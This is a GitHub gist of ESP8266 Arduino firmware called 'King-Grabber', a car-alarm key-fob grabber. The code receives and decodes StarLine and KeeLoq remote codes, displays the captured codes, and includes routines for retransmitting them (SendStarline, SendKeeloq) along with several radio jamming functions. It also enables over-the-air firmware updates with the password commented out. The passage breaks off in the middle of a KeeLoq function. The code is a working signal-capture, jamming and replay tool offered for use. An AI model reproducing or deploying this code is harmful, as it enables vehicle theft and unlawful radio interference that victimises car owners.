Created
June 11, 2017 15:05
-
-
Save girs1982/15e71ee948d714235af34bc14eb2790a to your computer and use it in GitHub Desktop.
King-Grabber ESP8266
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //ESP-GRAB | |
| #include <EEPROM.h> | |
| #include <ESP8266WiFi.h> | |
| #include <ESP8266HTTPClient.h> | |
| #include <ArduinoOTA.h> // Библиотека для OTA-прошивки | |
| #include "math.h" | |
| //wifii&server | |
| #include <OneWire.h> | |
| //////////////////////////////////////////////////////////////shlaki//////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////parol | |
| int kiop3 = 0; | |
| int pam = 50; | |
| int passwordkg[6] ={8,3,2,1,9,0}; | |
| int parolking = 0; | |
| int parolvvod[6] = {0,0,0,0,0,0}; | |
| int i1p = 0; | |
| int yach = 0; | |
| int send_codekg = 0; | |
| int send_codezoy = 0; | |
| int send_code = 1; | |
| int yacheyka = 0; | |
| /////////////////////////////////////////////////////////////////////// | |
| const char* ssid = "Gansta-Paradise.guest"; | |
| const char* password = ""; | |
| const char* host = "www.gansta-paradise.com"; | |
| int starres = 0; | |
| int pakiweb = 0; | |
| int bitnumber = 0; | |
| int shirt = 0; | |
| //wifii&server end///////////////////////////////////// | |
| //menu | |
| boolean backlight = true; | |
| int contrast=50; | |
| int kiop=0; | |
| int menuitem = 1; | |
| int page = 1; | |
| int pagero = 0; | |
| int smena = 1;//smena sig | |
| volatile boolean up = false; | |
| volatile boolean down = false; | |
| volatile boolean middle = false; | |
| int downButtonState = 0; | |
| int upButtonState = 0; | |
| int selectButtonState = 0; | |
| int lastDownButtonState = 0; | |
| int lastSelectButtonState = 0; | |
| int lastUpButtonState = 0; | |
| //menu end | |
| #define rxPin 13 //d7 | |
| #define TX 12 //d6 | |
| #define tonePin 14 //d5 | |
| int ing = 0; | |
| int starlineCounter = 0; | |
| int starlinePreambula = 0; | |
| static long StarLineCode1 = 0; // first part | |
| static long StarLineCode2 = 0; // last part | |
| static long invertStarLineCode1 = 0; // first part | |
| static long invertStarLineCode2 = 0; // last part | |
| String code = ""; | |
| boolean bValidPacket=false; | |
| int decodeMethod = 1; | |
| int lastRxValue = 0; | |
| int tempRxValue = 0; | |
| unsigned long lastRxTime = 0; | |
| unsigned long tempTime = 0; | |
| //keeloq | |
| int keeloqHeader=0; | |
| int keeloqCounter = 0; | |
| int starlineZCounter = 0; | |
| int starlineZpreambulaCounter = 0; | |
| int keeloqPreambula = 0; | |
| int stralineHeader=0; | |
| static long keeloqCode1 = 0; // first part | |
| static long keeloqCode2 = 0; // last part | |
| static long invertkeeloqCode1 = 0; // first part | |
| static long invertkeeloqCode2 = 0; // last part | |
| String keecode = ""; | |
| boolean keebValidPacket=false; | |
| int keelastRxValue = 0; | |
| int keetempRxValue = 0; | |
| unsigned long keelastRxTime = 0; | |
| unsigned long keetempTime = 0; | |
| //пробуем выброс | |
| //keelog start | |
| unsigned long difTime = 0; | |
| unsigned long difTime2 = 0; | |
| int keelog_state = 0; | |
| int keelogCounter = 0; | |
| byte keelog_code[9]; | |
| byte keelog_codePAK2[9]; | |
| byte keelog_codePAK1[9]; | |
| byte hugaz[9]; | |
| byte hugazk[9]; | |
| byte hugazi[9]; | |
| byte starline_code[9]; | |
| byte starline_codePAK2[9]; | |
| byte starline_codePAK1[9]; | |
| byte webpak2[9]; | |
| byte webpak1[9]; | |
| int starline_state = 0; | |
| byte kefang[9]; | |
| byte starline_codePAK2zapis[9]; | |
| byte starline_codePAK1zapis[9]; | |
| byte starline_codePAK2zapisSBTR[9]; | |
| byte starline_codePAK1zapisSBTR[9]; | |
| byte keelog_codePAK2zapis[9]; | |
| byte keelog_codePAK1zapis[9]; | |
| byte keelog_codePAK2zapisSBTR[9]; | |
| byte keelog_codePAK1zapisSBTR[9]; | |
| byte hugazS[9]; | |
| byte hugaziS[9]; | |
| byte hugazK[9]; | |
| byte hugaziK[9]; | |
| /////////////////////////////////////////////////VVODNIE | |
| byte VVOD1[9]; | |
| byte VVOD2[9]; | |
| String readString; | |
| // -------------------- | |
| byte CODE[8]; | |
| int x=0; | |
| int k=0;//schet keeloq | |
| int kk =0; //shet star line | |
| int starkk = 0; | |
| //lcd | |
| //#include <SPI.h> | |
| #include <Wire.h> | |
| #include <Adafruit_GFX.h> | |
| #include <Adafruit_SSD1306.h> | |
| #define OLED_RESET LED_BUILTIN | |
| Adafruit_SSD1306 display(OLED_RESET); | |
| #define NUMFLAKES 10 | |
| #define XPOS 0 | |
| #define YPOS 1 | |
| #define DELTAY 2 | |
| #define LOGO16_GLCD_HEIGHT 16 | |
| #define LOGO16_GLCD_WIDTH 16 | |
| static const unsigned char PROGMEM logo16_glcd_bmp[] = | |
| { | |
| B00000000, B11000000, | |
| B00000001, B11000000, | |
| B00000001, B11000000, | |
| B00000011, B11100000, | |
| B11110011, B11100000, | |
| B11111110, B11111000, | |
| B01111110, B11111111, | |
| B00110011, B10011111, | |
| B00011111, B11111100, | |
| B00001101, B01110000, | |
| B00011011, B10100000, | |
| B00111111, B11100000, | |
| B00111111, B11110000, | |
| B01111100, B11110000, | |
| B01110000, B01110000, | |
| B00000000, B00110000 | |
| }; | |
| const unsigned char PROGMEM LOGO [] = { | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x3F, | |
| 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x7E, 0x00, 0xFF, 0xF8, 0x00, | |
| 0x00, 0x78, 0x00, 0x07, 0xFC, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x7E, 0x00, 0x00, 0xF0, 0x00, 0x00, | |
| 0x3E, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x1E, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x0E, 0x00, 0x00, 0xE0, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x01, 0xE0, 0x00, 0x00, 0x00, 0x00, | |
| 0x01, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, | |
| 0x00, 0x00, 0x07, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x07, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x80, | |
| 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1C, 0x00, | |
| 0x00, 0x00, 0x00, 0xF8, 0x1E, 0x00, 0x00, 0x00, 0xFF, 0xF8, 0x1E, 0x00, 0x00, 0x00, 0xFF, 0xF0, | |
| 0x1E, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0x0F, 0x00, 0x00, 0x00, 0xFF, 0x80, 0x0F, 0x00, 0x00, 0x00, | |
| 0x03, 0x80, 0x0F, 0x80, 0x00, 0x00, 0x03, 0x80, 0x07, 0xC0, 0x00, 0x00, 0x03, 0x80, 0x07, 0xE0, | |
| 0x00, 0x00, 0x03, 0x80, 0x03, 0xE0, 0x00, 0x00, 0x07, 0x80, 0x01, 0xF0, 0x00, 0x00, 0x07, 0x80, | |
| 0x00, 0xF0, 0x00, 0x00, 0x1F, 0x80, 0x00, 0xFF, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x7F, 0xFF, 0x80, | |
| 0x7F, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, | |
| 0x03, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xA5, 0xA4, 0x4F, | |
| 0x74, 0x15, 0xBF, 0xBC, 0x9A, 0x3F, 0x0F, 0x55, | |
| }; | |
| const unsigned char PROGMEM logoz [] = { | |
| 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x38, 0x0E, 0x03, 0xC0, 0x00, 0x00, 0x7C, 0x0E, 0x07, | |
| 0xE0, 0x00, 0x00, 0x3E, 0x0F, 0x0F, 0xE0, 0x00, 0x00, 0x0E, 0x07, 0x1F, 0x00, 0x00, 0x00, 0x06, | |
| 0x03, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x1F, 0xFC, | |
| 0x00, 0x00, 0xE0, 0x00, 0x7F, 0xFE, 0x18, 0x01, 0xE0, 0x01, 0xFF, 0xFE, 0x3C, 0x03, 0xE0, 0x07, | |
| 0xF8, 0x0E, 0x1C, 0x07, 0xC0, 0x0F, 0xE0, 0x06, 0x1C, 0x0F, 0x80, 0x0F, 0x00, 0x00, 0x1C, 0x0F, | |
| 0x00, 0x1E, 0x00, 0x00, 0x1E, 0x1E, 0x00, 0x1C, 0x00, 0x00, 0x0E, 0x3C, 0x00, 0x3C, 0x00, 0x00, | |
| 0x0E, 0x3C, 0x00, 0x38, 0x00, 0x00, 0x0E, 0x78, 0x00, 0x38, 0x00, 0x00, 0x0E, 0x78, 0x00, 0x38, | |
| 0x00, 0x00, 0x0E, 0x70, 0x00, 0x38, 0x00, 0x00, 0x0E, 0xF0, 0x00, 0x38, 0x00, 0x00, 0x0F, 0xE0, | |
| 0x00, 0x38, 0x00, 0x00, 0x0F, 0xE0, 0x00, 0x38, 0x00, 0x00, 0x0F, 0xC0, 0x00, 0x38, 0x00, 0x00, | |
| 0x07, 0xC0, 0x00, 0x38, 0x00, 0x00, 0x07, 0xF0, 0x00, 0x38, 0x00, 0x00, 0x07, 0xFC, 0x00, 0x3C, | |
| 0x00, 0x00, 0x07, 0x7E, 0x00, 0x1C, 0x00, 0x00, 0x07, 0x1F, 0x00, 0x1C, 0x00, 0x00, 0x07, 0x07, | |
| 0x80, 0x1C, 0x00, 0x00, 0x07, 0x03, 0xC0, 0x1C, 0x07, 0xF0, 0x07, 0x01, 0xC0, 0x1C, 0x0F, 0xF8, | |
| 0x07, 0x01, 0xE0, 0x1E, 0x07, 0xF8, 0x07, 0x00, 0xF0, 0x0F, 0x00, 0xF0, 0x07, 0x00, 0x70, 0x07, | |
| 0x81, 0xF0, 0x07, 0x00, 0x70, 0x07, 0xC1, 0xF0, 0x0F, 0x00, 0x78, 0x03, 0xE1, 0xC0, 0x0E, 0x00, | |
| 0x38, 0x01, 0xE1, 0xC0, 0x0E, 0x00, 0x38, 0x00, 0xF3, 0xC0, 0x1E, 0x00, 0x3C, 0x00, 0x73, 0xC0, | |
| 0x1E, 0x00, 0x1C, 0x00, 0x7B, 0x80, 0x1C, 0x00, 0x0C, 0x00, 0x3F, 0x80, 0x0C, 0x00, 0x00, 0x00, | |
| 0x3F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x78, 0x30, 0x30, | |
| 0x2C, 0x20, 0x30, 0x78, 0x30, 0x30, 0x2C, 0x20, | |
| }; | |
| #if (SSD1306_LCDHEIGHT != 64) | |
| #error("Height incorrect, please fix Adafruit_SSD1306.h!"); | |
| #endif | |
| //end lcd | |
| void setup() { | |
| //////////////////menu | |
| pinMode(9,INPUT_PULLUP); | |
| pinMode(D3, INPUT_PULLUP); | |
| pinMode(D4, INPUT_PULLUP); | |
| ///////////////////////////////end menu/////////////////////////////////////////////// | |
| EEPROM.begin(3512); | |
| //endep | |
| Serial.begin(115200); | |
| //lcd | |
| display.begin(SSD1306_SWITCHCAPVCC, 0x3C); // initialize with the I2C addr 0x3C (for the 128x32) | |
| delay(300); | |
| //logo | |
| display.clearDisplay(); | |
| display.drawBitmap(48, 8, LOGO, 48, 48, WHITE); | |
| display.display(); | |
| delay(3000); | |
| //logo2 | |
| display.clearDisplay(); | |
| display.drawBitmap(48, 8, logoz, 48, 48, WHITE); | |
| display.display(); | |
| delay(3000); | |
| // invert the display | |
| display.invertDisplay(true); | |
| delay(1000); | |
| display.invertDisplay(false); | |
| delay(1000); | |
| display.clearDisplay(); | |
| // draw a bitmap icon and 'animate' movement | |
| testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_HEIGHT, LOGO16_GLCD_WIDTH); | |
| //end logo | |
| display.display(); | |
| delay(1000); | |
| // Clear the buffer. | |
| display.clearDisplay(); | |
| display.setTextSize(1); | |
| display.setTextColor(WHITE); | |
| display.setCursor(0,0); | |
| display.println("KING-GRAB!!!AUE)"); | |
| display.println("Gansta-Paradise.com"); | |
| display.setTextColor(BLACK, WHITE); // 'inverted' text | |
| display.println(333); | |
| display.setTextSize(2); | |
| display.setTextColor(WHITE); | |
| display.println("KING-GRAB"); | |
| display.display(); | |
| delay(2000); | |
| display.clearDisplay(); | |
| //end lcd | |
| pinMode(rxPin, INPUT); | |
| //pinMode(buttonvibros,INPUT_PULLUP); | |
| pinMode(TX, OUTPUT); | |
| pinMode(tonePin, OUTPUT); | |
| lastRxValue = digitalRead(rxPin); | |
| lastRxTime = micros(); | |
| //kee | |
| keelastRxValue = digitalRead(rxPin); | |
| keelastRxTime = micros(); | |
| delay(1000); | |
| Serial.println("start KING-GRAB "); | |
| delay(1000); | |
| bumer(); | |
| //////////WIIIIIIIIIFIIIIIIIIIIIIII//////////////////////////////////////////////////// | |
| // WiFi.mode(WIFI_STA); | |
| /// WiFi.begin(ssid, password); | |
| // while (WiFi.status() != WL_CONNECTED) | |
| // { | |
| // delay(500); | |
| // } | |
| ////////////wfi ota | |
| WiFi.mode(WIFI_STA); | |
| WiFi.begin(ssid, password); | |
| while (WiFi.waitForConnectResult() != WL_CONNECTED) { | |
| delay(5000); | |
| ESP.restart(); | |
| } | |
| ArduinoOTA.setHostname("KING-GRABBER-V2"); // Задаем имя сетевого порта | |
| //ArduinoOTA.setPassword((const char *)"0000"); // Задаем пароль доступа для удаленной прошивки | |
| ArduinoOTA.begin(); // Инициализируем OTA | |
| ////perenesen | |
| parol(); | |
| } | |
| void loop() { | |
| ArduinoOTA.handle(); //////////ota prob | |
| grabmenu(); | |
| } | |
| //////////////////////////////////end loop////////////////////////// | |
| void glushilka(){ | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| digitalWrite(TX,HIGH); | |
| delay(50); | |
| digitalWrite (TX, LOW) ; | |
| delay(50); | |
| } | |
| void glushilka2(){ | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| digitalWrite(TX,HIGH); | |
| delay(10); | |
| digitalWrite (TX, LOW) ; | |
| delay(10); | |
| } | |
| void glushilka3(){ | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| digitalWrite(TX,HIGH); | |
| delay(1); | |
| digitalWrite (TX, LOW) ; | |
| delay(1); | |
| } | |
| void send_meander(int time)//pra meandr | |
| { | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(time); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(time); | |
| } | |
| void SendStarlinePreambula() | |
| { | |
| for (byte i=0; i<=10; i++) | |
| send_meander(1000); | |
| } | |
| void SendStarlineBit(byte b) | |
| { | |
| if (b) | |
| send_meander(250); // 1 | |
| else | |
| send_meander(500); // 0 | |
| } | |
| void SendStarline(unsigned char *TCODE, unsigned int S) | |
| { | |
| for (int j=0;j<10;j++) // посылку посылаем как и брелок - 10 раз подряд. | |
| { | |
| SendStarlinePreambula(); // посылаем преамбулу | |
| for (byte i=0;i<S;i++) // перебор масива (8 x 8 = 64 bits) | |
| { | |
| for (int x=0;x<8;x++){ | |
| SendStarlineBit(!bitRead(TCODE[i], x)); // побитово перебираем, инвертируе и посылаем код | |
| } | |
| } | |
| } | |
| digitalWrite(TX, HIGH); | |
| } | |
| // Keeloq ---------------------------------------------- | |
| void SendKeeloqPreambula() | |
| { | |
| for (byte i=0; i<23; i++) | |
| send_meander(400); | |
| } | |
| void SendKeeloq(unsigned char *TCODE) | |
| { | |
| signed char a; | |
| SendKeeloqPreambula(); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(10*400); | |
| for(a=0; a<66; a++) | |
| { | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| if(TCODE[a/8]&(1<<(a%8))) digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| delay(16); | |
| } | |
| //--------------------------------------------------------- | |
| void Jammer(){ | |
| for (int i=200; i>0; i--){ | |
| digitalWrite(TX, LOW); | |
| delay(20); | |
| digitalWrite(TX, HIGH); | |
| delay(20); | |
| }} | |
| void SendStarline2(long StarLineCode2, long StarLineCode1 ) | |
| {for (int j=0;j<10;j++) // посылку посылаем как и брелок - 10 раз подряд. | |
| {for (byte i=0; i<6; i++) | |
| { | |
| digitalWrite(TX, HIGH); // посылаем высокий | |
| delay(1); // ждём указанное время | |
| digitalWrite(TX, LOW); // посылаем низкий | |
| delay(1); | |
| }} | |
| delay(1); // сделать паузу после посылки на 1 мс, просто так... | |
| } | |
| ////osnovb schit | |
| void grab(unsigned long time, int value) | |
| { | |
| bValidPacket = false; | |
| if(starlinePreambula==0){ | |
| if(time > 900 && time < 1100 && value == 1){//ждем преамбулу | |
| starlineCounter ++; | |
| } | |
| else if(value != 1){ | |
| } | |
| else{ | |
| if(starlineCounter==6){ | |
| starlinePreambula=1; | |
| //Serial.println("preambula"); | |
| } | |
| starlineCounter = 0; | |
| } | |
| } | |
| if(starlinePreambula==1){ | |
| if(time > 350 && time < 650 && value == 1){//ждем данные | |
| StarLineCode1=(StarLineCode1<<1)|1; | |
| invertStarLineCode1=(invertStarLineCode1<<1)|0; | |
| code += "1"; | |
| bValidPacket = true; | |
| //Serial.println("~500"); | |
| } | |
| else if(time > 150 && time < 350 && value == 1){ | |
| StarLineCode1=(StarLineCode1<<1)|0; | |
| invertStarLineCode1=(invertStarLineCode1<<1)|1; | |
| code += "0"; | |
| bValidPacket = true; | |
| //Serial.println("~250"); | |
| } | |
| else{ | |
| //Serial.println(time); | |
| } | |
| if(bValidPacket){ | |
| starlineCounter++; | |
| if(starlineCounter==32){ | |
| StarLineCode2=StarLineCode1; | |
| invertStarLineCode2=invertStarLineCode1; | |
| //starlineCounter = 0; | |
| //starlinePreambula = 0; | |
| } | |
| if(starlineCounter==64){ | |
| Serial.println(" - starline origin - "); | |
| Serial.print(StarLineCode2, HEX); | |
| Serial.print(" - "); | |
| Serial.println(StarLineCode1, HEX); | |
| Serial.print(StarLineCode2, BIN); | |
| Serial.print(" - "); | |
| Serial.println(StarLineCode1, BIN); | |
| Serial.println(" - starline invert - "); | |
| Serial.print(invertStarLineCode2, HEX); | |
| Serial.print(" - "); | |
| Serial.println(invertStarLineCode1, HEX); | |
| Serial.print(invertStarLineCode2, BIN); | |
| Serial.print(" - "); | |
| Serial.println(invertStarLineCode1, BIN); | |
| /*Serial.print(StarLineCode2,HEX); | |
| Serial.print(" -- "); | |
| Serial.println(StarLineCode1,HEX);*/ | |
| //lcd | |
| // display.begin(SSD1306_SWITCHCAPVCC, 0x3C); // initialize with the I2C addr 0x3C (for the 128x32) | |
| //display.display(); | |
| display.clearDisplay(); | |
| delay(100); | |
| display.setTextColor(WHITE); | |
| display.setCursor(0,0); | |
| display.setTextSize(1); | |
| display.println("invertStarLineCode"); | |
| display.setTextSize(1.5); | |
| display.println(invertStarLineCode1, HEX); | |
| display.println(invertStarLineCode2, HEX); | |
| delay(100); | |
| display.display(); | |
| starlineCounter = 0; | |
| starlinePreambula = 0; | |
| } | |
| } | |
| } | |
| /*Serial.println(time); | |
| Serial.println("-"); | |
| Serial.println(value); | |
| Serial.println("----");*/ | |
| } | |
| //muzonchik | |
| void bumer() { | |
| tone(tonePin, 1244, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1479, 624.99975); | |
| delay(694.444166667); | |
| delay(520.833125); | |
| tone(tonePin, 1479, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1244, 624.99975); | |
| delay(694.444166667); | |
| delay(520.833125); | |
| tone(tonePin, 1661, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1479, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1661, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1479, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1661, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1479, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1661, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1479, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1661, 156.2499375); | |
| delay(173.611041667); | |
| tone(tonePin, 1864, 624.99975); | |
| delay(694.444166667); | |
| delay(520.833125); | |
| } | |
| void testdrawbitmap(const uint8_t *bitmap, uint8_t w, uint8_t h) { | |
| uint8_t icons[NUMFLAKES][3]; | |
| // initialize | |
| for (uint8_t f=0; f< NUMFLAKES; f++) { | |
| icons[f][XPOS] = random(display.width()); | |
| icons[f][YPOS] = 0; | |
| icons[f][DELTAY] = random(5) + 1; | |
| Serial.print("x: "); | |
| Serial.print(icons[f][XPOS], DEC); | |
| Serial.print(" y: "); | |
| Serial.print(icons[f][YPOS], DEC); | |
| Serial.print(" dy: "); | |
| Serial.println(icons[f][DELTAY], DEC); | |
| } | |
| while (ing<30) { | |
| ing++; | |
| // draw each icon | |
| for (uint8_t f=0; f< NUMFLAKES; f++) { | |
| display.drawBitmap(icons[f][XPOS], icons[f][YPOS], bitmap, w, h, WHITE); | |
| } | |
| display.display(); | |
| delay(200); | |
| // then erase it + move it | |
| for (uint8_t f=0; f< NUMFLAKES; f++) { | |
| display.drawBitmap(icons[f][XPOS], icons[f][YPOS], bitmap, w, h, BLACK); | |
| // move it | |
| icons[f][YPOS] += icons[f][DELTAY]; | |
| // if its gone, reinit | |
| if (icons[f][YPOS] > display.height()) { | |
| icons[f][XPOS] = random(display.width()); | |
| icons[f][YPOS] = 0; | |
| icons[f][DELTAY] = random(5) + 1; | |
| } | |
| } | |
| } | |
| } | |
| void testdrawchar(void) { | |
| display.setTextSize(1); | |
| display.setTextColor(WHITE); | |
| display.setCursor(0,0); | |
| for (uint8_t i=0; i < 168; i++) { | |
| if (i == '\n') continue; | |
| display.write(i); | |
| if ((i > 0) && (i % 21 == 0)) | |
| display.println(); | |
| } | |
| display.display(); | |
| delay(1); | |
| } | |
| void testdrawcircle(void) { | |
| for (int16_t i=0; i<display.height(); i+=2) { | |
| display.drawCircle(display.width()/2, display.height()/2, i, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| } | |
| void testfillrect(void) { | |
| uint8_t color = 1; | |
| for (int16_t i=0; i<display.height()/2; i+=3) { | |
| // alternate colors | |
| display.fillRect(i, i, display.width()-i*2, display.height()-i*2, color%2); | |
| display.display(); | |
| delay(1); | |
| color++; | |
| } | |
| } | |
| void testdrawroundrect(void) { | |
| for (int16_t i=0; i<display.height()/2-2; i+=2) { | |
| display.drawRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()/4, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| } | |
| void testfillroundrect(void) { | |
| uint8_t color = WHITE; | |
| for (int16_t i=0; i<display.height()/2-2; i+=2) { | |
| display.fillRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()/4, color); | |
| if (color == WHITE) color = BLACK; | |
| else color = WHITE; | |
| display.display(); | |
| delay(1); | |
| } | |
| } | |
| void testdrawrect(void) { | |
| for (int16_t i=0; i<display.height()/2; i+=2) { | |
| display.drawRect(i, i, display.width()-2*i, display.height()-2*i, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| } | |
| void testdrawline() { | |
| for (int16_t i=0; i<display.width(); i+=4) { | |
| display.drawLine(0, 0, i, display.height()-1, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| for (int16_t i=0; i<display.height(); i+=4) { | |
| display.drawLine(0, 0, display.width()-1, i, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| delay(250); | |
| display.clearDisplay(); | |
| for (int16_t i=0; i<display.width(); i+=4) { | |
| display.drawLine(0, display.height()-1, i, 0, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| for (int16_t i=display.height()-1; i>=0; i-=4) { | |
| display.drawLine(0, display.height()-1, display.width()-1, i, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| delay(250); | |
| display.clearDisplay(); | |
| for (int16_t i=display.width()-1; i>=0; i-=4) { | |
| display.drawLine(display.width()-1, display.height()-1, i, 0, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| for (int16_t i=display.height()-1; i>=0; i-=4) { | |
| display.drawLine(display.width()-1, display.height()-1, 0, i, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| delay(250); | |
| display.clearDisplay(); | |
| for (int16_t i=0; i<display.height(); i+=4) { | |
| display.drawLine(display.width()-1, 0, 0, i, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| for (int16_t i=0; i<display.width(); i+=4) { | |
| display.drawLine(display.width()-1, 0, i, display.height()-1, WHITE); | |
| display.display(); | |
| delay(1); | |
| } | |
| delay(250); | |
| } | |
| void testscrolltext(void) { | |
| display.setTextSize(2); | |
| display.setTextColor(WHITE); | |
| display.setCursor(10,0); | |
| display.clearDisplay(); | |
| display.println("scroll"); | |
| display.display(); | |
| delay(1); | |
| display.startscrollright(0x00, 0x0F); | |
| delay(2000); | |
| display.stopscroll(); | |
| delay(1000); | |
| display.startscrollleft(0x00, 0x0F); | |
| delay(2000); | |
| display.stopscroll(); | |
| delay(1000); | |
| display.startscrolldiagright(0x00, 0x07); | |
| delay(2000); | |
| display.startscrolldiagleft(0x00, 0x07); | |
| delay(2000); | |
| display.stopscroll(); | |
| } | |
| //keeloq////////////////////////////////////////////////KEEEEEEEEEEEEEEELOOOOQ////////////////////////////////////////////////////////////////////////// | |
| void keelog_vardump(){ | |
